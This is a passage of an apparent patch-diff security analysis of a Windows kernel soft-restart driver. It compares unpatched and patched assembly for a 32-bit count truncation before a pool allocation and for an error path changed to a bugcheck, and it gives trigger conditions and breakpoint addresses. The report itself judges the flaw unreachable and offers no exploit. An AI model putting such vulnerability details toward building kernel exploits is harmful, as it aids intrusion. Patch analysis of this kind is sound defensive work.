&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// the parent pointer P[6] is not NULLed; no subsequent use of P[6]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Evidence&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; truncated allocation (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KsrpRestoreMemoryPartition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C000B160&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B277&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_E4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B27B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_E8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B27F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;count2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUNCATED&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B397&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_D8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B3A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;truncated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B3A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePool2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B3D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count1&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000B3DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;count2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt; error path (unpatched vs patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C000BCB0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BE04&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;KsrpPdDatabase&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;database&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BE52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000BE57&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;decrement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeBugCheckEx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14000E830&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logical&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;EAE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;211&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bugcheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subcode&lt;/span&gt;
&lt;span class="mi"&gt;000000014000&lt;/span&gt;&lt;span class="n"&gt;EAF1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_KeBugCheckEx&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fast&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;restore&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; metadata-only allocation (patched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;KsrpRestoreMemoryPartition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x14000DFF0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;patched&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E0BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;KsrDbQueryRegionMetadata&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;single&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;query&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E0EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExAllocatePool2&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;only&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;For the integer overflow in &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (Finding 1):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The restore path runs during soft-restart initialization: &lt;code&gt;KsrInitSystem&lt;/code&gt; → &lt;code&gt;KsrpRestoreMemoryPartitions&lt;/code&gt; (&lt;code&gt;0x1C000BFF4&lt;/code&gt;) queues a work item that runs &lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt;, which calls &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; for each persisted partition descriptor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; reads two entry counts from the persisted memory region via &lt;code&gt;KsrPdRetrieveMemoryRegion&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For the 32-bit sum to wrap, &lt;code&gt;count1 + count2&lt;/code&gt; must exceed &lt;code&gt;0xFFFFFFFF&lt;/code&gt;. Each count is the number of 8-byte persisted-page entries; reaching that total requires on the order of four billion entries, which is not attainable on realistic hardware and is not a normal attacker-controlled input.&lt;/li&gt;
&lt;li&gt;If the sum did wrap, &lt;code&gt;ExAllocatePool2&lt;/code&gt; would return an undersized buffer and the element copies would write past it. On realistic inputs the counts are far below the wrap threshold and the allocation is correctly sized.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because the persisted-memory metadata is kernel soft-reboot state carried across a warm reboot (see &lt;code&gt;KsrEnumeratePersistedMemory&lt;/code&gt;), not a file an unprivileged user can write, and because the wrap threshold is impractical, this is best characterized as removal of overflow-prone arithmetic rather than a reachable exploitation primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive Assessment&lt;/h2&gt;
&lt;p&gt;No exploitation primitive is demonstrable from the binaries.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finding 1 would, in principle, produce a pool overflow, but only at count totals that are not reachable on realistic systems and only if the persisted-memory metadata is attacker-controlled. No controlled write of a specific size or content is demonstrable, so no info-leak, grooming, or code-execution chain is supported by the evidence.&lt;/li&gt;
&lt;li&gt;Finding 2 changes an error-recovery path into a bugcheck. The unpatched rollback operates on driver-owned bookkeeping (&lt;code&gt;KsrpPdDatabase&lt;/code&gt;); no attacker-controlled write primitive is demonstrable.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Statements about KASLR bypass, pool grooming, token-privilege overwrites, or shellcode redirection are not supported by these two builds and are omitted.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugging Notes&lt;/h2&gt;
&lt;p&gt;For the unpatched integer overflow (Finding 1):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Break at &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (&lt;code&gt;0x1C000B160&lt;/code&gt;). The two counts are read at &lt;code&gt;0x1C000B277&lt;/code&gt; (into &lt;code&gt;r15d&lt;/code&gt;) and &lt;code&gt;0x1C000B27B&lt;/code&gt; (into &lt;code&gt;r12d&lt;/code&gt;); the truncating add is &lt;code&gt;lea edi, [r15+r12]&lt;/code&gt; at &lt;code&gt;0x1C000B27F&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inspect the size argument to &lt;code&gt;ExAllocatePool2&lt;/code&gt; at &lt;code&gt;0x1C000B3A9&lt;/code&gt;: it is &lt;code&gt;metadata + (truncated sum) * 8&lt;/code&gt; (&lt;code&gt;lea rdx, [rsi+rdi*8]&lt;/code&gt; at &lt;code&gt;0x1C000B3A5&lt;/code&gt;). Compare it against the full-precision copy offsets computed at &lt;code&gt;0x1C000B3D2&lt;/code&gt; (&lt;code&gt;pool + count1*8&lt;/code&gt;) and &lt;code&gt;0x1C000B3DA&lt;/code&gt; (&lt;code&gt;pool + (count1+count2)*8&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the unpatched error path (Finding 2):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After a negative return from &lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt;, the unpatched worker loads &lt;code&gt;KsrpPdDatabase&lt;/code&gt; at &lt;code&gt;0x1C000BE04&lt;/code&gt; and decrements global counters at &lt;code&gt;0x1C000BE52&lt;/code&gt; / &lt;code&gt;0x1C000BE57&lt;/code&gt;. In the patched build the same failure reaches &lt;code&gt;KeBugCheckEx&lt;/code&gt; (&lt;code&gt;mov edx, 211h&lt;/code&gt; at &lt;code&gt;0x14000EAE7&lt;/code&gt;, call at &lt;code&gt;0x14000EAF1&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt; (&lt;code&gt;0x1C000B160&lt;/code&gt; / &lt;code&gt;0x14000DFF0&lt;/code&gt;):&lt;/strong&gt; Security-relevant. The combined count-based allocation with the 32-bit-truncated sum is removed; the patched build allocates only the metadata block and processes persisted pages through an MDL list (&lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt; + &lt;code&gt;KsrDbAddBadPageRanges&lt;/code&gt;). Removes overflow-prone arithmetic (Finding 1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt; (&lt;code&gt;0x1C000BCB0&lt;/code&gt; / &lt;code&gt;0x14000E830&lt;/code&gt;):&lt;/strong&gt; Security-relevant. On restore failure the unpatched database rollback is replaced with &lt;code&gt;KeBugCheckEx(0x70, 0x211, ...)&lt;/code&gt;; the worker also moves to MDL-based enumeration of persisted memory (&lt;code&gt;KsrEnumeratePersistedMemory&lt;/code&gt; + &lt;code&gt;KsrpBadPageListBlockCallback&lt;/code&gt;). Fail-fast hardening (Finding 2).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpPdWalkRegionPage&lt;/code&gt; (&lt;code&gt;0x1C000C690&lt;/code&gt; / &lt;code&gt;0x140012B58&lt;/code&gt;):&lt;/strong&gt; Security-relevant, part of the Finding 1 rearchitecture. The unpatched function only maps each persisted region page and calls &lt;code&gt;KsrpPdVerifyRamRanges&lt;/code&gt;; it performs no aggregation copy. The patched function aggregates the chained pages' PFN entries into a pool buffer sized from the first page's advertised count and adds two capacity guards, &lt;code&gt;KeBugCheckEx(0x70, 5, 1, capacity, count)&lt;/code&gt; and &lt;code&gt;KeBugCheckEx(0x70, 5, 0, capacity, count)&lt;/code&gt;, before each &lt;code&gt;memmove&lt;/code&gt;, so a later chained page that claims more entries than were allocated fails-stops instead of overflowing. This is the defensively-written replacement path for the combined allocation that Finding 1 removed, not a separate unpatched overflow (the unpatched build 